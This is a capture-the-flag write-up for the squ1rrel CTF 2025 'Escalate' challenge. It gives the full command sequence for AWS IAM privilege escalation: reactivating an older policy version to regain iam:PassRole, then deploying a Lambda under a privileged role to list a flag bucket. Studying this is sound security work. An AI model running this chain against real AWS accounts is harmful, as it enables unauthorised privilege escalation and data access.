Escalate (squ1rrel CTF 2025)
The objective of this challenge was to escalate privileges within an AWS environment and gain access to the s3 buckets. For guidance, I referred to AWS IAM Privilege Escalation GitHub repository by RhinoSecurityLabs, specifically:
2. Setting the default policy version to an existing version Description: An attacker with the
iam:SetDefaultPolicyVersion
permission may be able to escalate privileges through existing policy versions that are not currently in use. If a policy that they have access to has versions that are not the default, they would be able to change the default version to any other existing version. Required Permission(s):iam:SetDefaultPolicyVersion
In this challenge, I leveraged this technique to switch to a more permissive version of UserPolicy.
Step‑1: Analyze the Environment
List IAM Roles
I enumerated the roles in the account:
aws iam list-roles
Key Roles Identified:
AWSServiceRoleForOrganizations
AWSServiceRoleForSSO
AWSServiceRoleForSupport
AWSServiceRoleForTrustedAdvisor
MagicRole
OrganizationAccountAccessRole
I reviewed the details of MagicRole (a likely pivot point) using:
aws iam get-role --role-name MagicRole
Output:
{
"Role": {
"Path": "/",
"RoleName": "MagicRole",
"RoleId": "AROATC4J3IHY7ZJ5YU43C",
"Arn": "arn:aws:iam::212353106417:role/MagicRole",
"CreateDate": "2025-04-05T04:04:31+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600,
"RoleLastUsed": {
"LastUsedDate": "2025-04-06T05:24:56+00:00",
"Region": "us-east-1"
}
}
}
But inspecting other roles also and trying to assume them did not work
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::212353106417:user/ctfuser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::212353106417:role/MagicRole
List S3 Buckets
Trying to see if we are directly allowed to access s3 buckets:
aws s3 ls
Output:
An error occurred (AccessDenied) when calling the ListBuckets operation: User: arn:aws:iam::212353106417:user/ctfuser is not authorized to perform: s3:ListAllMyBuckets because no identity-based policy allows the s3:ListAllMyBuckets action
List and Inspect IAM Policies
I listed the local policies to understand the permissions available:
aws iam list-policies --scope Local
Output:
{
"Policies": [
{
"PolicyName": "UserPolicy",
"PolicyId": "ANPATC4J3IHY6KCXS4AEM",
"Arn": "arn:aws:iam::212353106417:policy/UserPolicy",
"Path": "/",
"DefaultVersionId": "v2",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2025-04-05T04:04:30+00:00",
"UpdateDate": "2025-04-08T10:23:34+00:00"
},
{
"PolicyName": "MagicPolicy",
"PolicyId": "ANPATC4J3IHYQ3Z6PLVLX",
"Arn": "arn:aws:iam::212353106417:policy/MagicPolicy",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2025-04-05T04:04:31+00:00",
"UpdateDate": "2025-04-05T04:04:31+00:00"
}
]
}
The two policies of interest were UserPolicy and MagicPolicy.
UserPolicy Permissions
I inspected UserPolicy (default version v2):
aws iam get-policy-version --policy-arn arn:aws:iam::212353106417:policy/UserPolicy --version-id v2
Output (v2):
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"iam:SetDefaultPolicyVersion",
"iam:ListRoles",
"iam:GetRole",
"iam:ListPolicies",
"iam:ListPolicyVersions",
"iam:ListAttachedRolePolicies",
"iam:GetPolicy",
"iam:GetPolicyVersion",
"iam:ListEntitiesForPolicy",
"lambda:GetFunction"
],
"Resource": "*"
},
{
"Effect": "Allow",
"Action": [
"lambda:CreateFunction",
"lambda:InvokeFunction",
"lambda:UpdateFunctionCode",
"lambda:UpdateFunctionConfiguration",
"lambda:DeleteFunction",
"lambda:ListFunctions"
],
"Resource": "*"
}
]
},
"VersionId": "v2",
"IsDefaultVersion": true,
"CreateDate": "2025-04-05T04:04:30+00:00"
}
}
Then, I reviewed the inactive version v1:
aws iam get-policy-version --policy-arn arn:aws:iam::212353106417:policy/UserPolicy --version-id v1
Output (v1):
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"iam:SetDefaultPolicyVersion",
"iam:ListRoles",
"iam:GetRole",
"iam:ListPolicies",
"iam:ListPolicyVersions",
"iam:ListAttachedRolePolicies",
"iam:GetPolicy",
"iam:PassRole",
"iam:GetPolicyVersion",
"iam:ListEntitiesForPolicy",
"lambda:GetFunction"
],
"Resource": "*"
},
{
"Effect": "Allow",
"Action": [
"lambda:CreateFunction",
"lambda:InvokeFunction",
"lambda:UpdateFunctionCode",
"lambda:UpdateFunctionConfiguration",
"lambda:DeleteFunction",
"lambda:ListFunctions"
],
"Resource": "*"
}
]
},
"VersionId": "v1",
"IsDefaultVersion": false,
"CreateDate": "2025-04-05T04:04:30+00:00"
}
}
Analysis: The key difference is that v1 includes the iam:PassRole permission, which is critical for passing roles to Lambda functions.
MagicPolicy Permissions
I also reviewed MagicPolicy:
aws iam get-policy-version --policy-arn arn:aws:iam::212353106417:policy/MagicPolicy --version-id v1
Output:
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::squ1rrel-ctf-flags"
},
{
"Effect": "Allow",
"Action": [
"logs:CreateLogGroup",
"logs:CreateLogStream",
"logs:PutLogEvents"
],
"Resource": "*"
}
]
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2025-04-05T04:04:31+00:00"
}
}
The policy explicitly grants the s3:ListBucket
action on the bucket identified by the ARN:arn:aws:s3:::squ1rrel-ctf-flags
. This indicates that we somehow need to access this bucket.
Step‑2: Escalation via Default Policy Version Change
Given the presence of multiple policy versions and with the iam:SetDefaultPolicyVersion permission at our disposal, I applied the technique from the RhinoSecurityLabs article:
2. Setting the default policy version to an existing version If a policy that they have access to has versions that are not the default, they can change the default version to any other existing version.
I switched UserPolicy to version v1:
aws iam set-default-policy-version --policy-arn arn:aws:iam::212353106417:policy/UserPolicy --version-id v1
This action activated v1, granting me the iam:PassRole permission that was missing in the default version (v2).
Step‑3: Leverage Lambda Permissions
Check for Existing Lambda Functions
Before creating a new function, I checked if any Lambda functions already existed, as my permissions included various Lambda actions:
aws lambda list-functions
Output:
{
"Functions": []
}
Since no pre-existing functions were found, I proceeded to create one.
Create and Deploy a Lambda Function
Prepare Lambda Code: I created a file named
lambda_function.py
with the following content:import boto3 import json def lambda_handler(event, context): try: s3 = boto3.client('s3') response = s3.list_objects_v2(Bucket='squ1rrel-ctf-flags') return { "statusCode": 200, "body": json.dumps(response, default=str) } except Exception as e: print("Error:", str(e)) return { "statusCode": 500, "body": json.dumps({"error": str(e)}) }
Package the Function: Then zip
lambda_function.py
into a ZIP file calledfunction.zip
Create the Lambda Function Using MagicRole: With the new iam:PassRole permission, I created the function:
aws lambda create-function --function-name EscalateLambda --runtime python3.8 --role arn:aws:iam::212353106417:role/MagicRole --handler lambda_function.lambda_handler --zip-file fileb://function.zip
Output:
{ "FunctionName": "EscalateLambda", "FunctionArn": "arn:aws:lambda:us-east-1:212353106417:function:EscalateLambda", "Runtime": "python3.8", "Role": "arn:aws:iam::212353106417:role/MagicRole", ... }
Step‑4: Invoke and Troubleshoot the Lambda Function
I invoked the Lambda function:
aws lambda invoke --function-name EscalateLambda output.json
Output:
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
A output.json
file was created and while viewing its contents:
\"Contents\": [{\"Key\": \"squ1rrel{dont_you_love_aws}.txt\", \"LastModified\": \"2025-04-04 05:59:47+00:00\"
Flag: squ1rrel{dont_you_love_aws}
Last updated